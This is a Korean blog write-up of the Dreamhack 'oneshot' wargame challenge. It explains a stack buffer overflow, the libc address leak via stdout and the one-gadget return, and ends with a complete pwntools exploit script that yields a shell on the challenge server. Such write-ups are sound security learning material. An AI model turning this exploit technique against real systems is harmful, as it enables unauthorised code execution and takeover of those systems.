Dreamhack - oneshot

2023. 9. 24. 17:28포너블

오늘은 oneshot에 대해 알아보고자 한다. 그전에 어떤 보호기법이 있는 지 살펴보겠다. 먼저 Partial RELRO가 걸려져 있고 카나리 보호기법은 해제되어 있으면 nx비트가 enable됨에 따라 쉘코드를 스택 영역에 실행할 수 없으며, PIE가 걸려져 있음으로 바이너리 주소가 랜덤하게 바뀌기 때문에 libc_Base주소를 구해야 한다.

다음 코드를 살펴보겠다. stdout주소를 출력하는 것을 볼 수 있다. 그 다음 msg의 사이즈는 16인데 46만큼 입력받음으로써 버퍼오버플로 취약점이 발생하게 된다. 이후 check 값에 대한 검증이 이루어지고 msg를 msg의 사이즈만큼 0으로 초기화 시킨다.

먼저 objdump -D 옵션을 활용하여 stdout의 이름을 확인하였다. 이름은 IO_2_1_stdout_이다.

버퍼에 입력되는 위치는 0x7fffffffe010이고 0x7fffffffe028에 check 값이 위치함으로 두개의 차만큼의 데이터를 채워주고 0으로 check값을 유지해줘야지 cmp 분기를 무사히 통과할 수 있다.

cmp를 통해 0인지 아닌지 체크를 하게되고 0일 경우 exit함수를 넘어서 main+119로 가는 것을 확인할 수 있다. 이제 onegadget를 찾아보겠다.

원가젯은 특정조건에 맞추면 바로 execve /bin/sh를 실행하게 되는 한 방에 쉘을 탈취하는 가젯을 의미한다. 따라서 원가젯은 위 사진과 같다. 이를 이용해서 페이로드를 구상하겠다.

먼저 stdout의 libc에서의 offset를 구하고 oneshot가젯으로 0xf1247가젯을 이용할꺼다.

stdout의 주소값을 받은 다음 이를 libc의 offset만큼 빼주면 libc base주소가 구해진다. base주소를 oneshot에 더해서 oneshot의 실제 주소를 구했다. 아까전 buf와check 사이의 크기 24만큼 아무 값이나 채워주고 그 다음 check값을 0으로 패킹해주고 sfp영역은 8바이트이므로 \x90으로 채워줬다. 이후 ret 주소를 oneshot 가젯의 주소를 넣어주고 페이로드를 전송하였다.

그 결과 쉘을 획득하였다. 전체 페이로드는 아래와 같다.

from pwn import *

#p = process('./oneshot')
p = remote('host3.dreamhack.games',11373)
e = ELF('./oneshot')
libc = ELF('libc-2.23.so')
context.log_level = 'debug'

stdout = libc.symbols['_IO_2_1_stdout_']
oneshot = 0xf1247

p.recvuntil('stdout: ')
leak = int(p.recv(14),16)
base = leak - stdout
add_oneshot = base +oneshot
payload = b'\x90'*24
payload += p64(0)
payload += b'\x90'*8
payload += p64(add_oneshot)

pause()
p.sendafter('MSG: ',payload)
pause()
p.interactive()

'포너블' 카테고리의 다른 글

64bit format string bug  (0) 2023.10.01
format string bug 32bit  (0) 2023.09.30
Dreamhack - basic_rop_x64  (0) 2023.09.23
Dreamhack - basic_rop_x86  (0) 2023.09.16
Plaid CTF ropasaurusrex  (0) 2023.09.16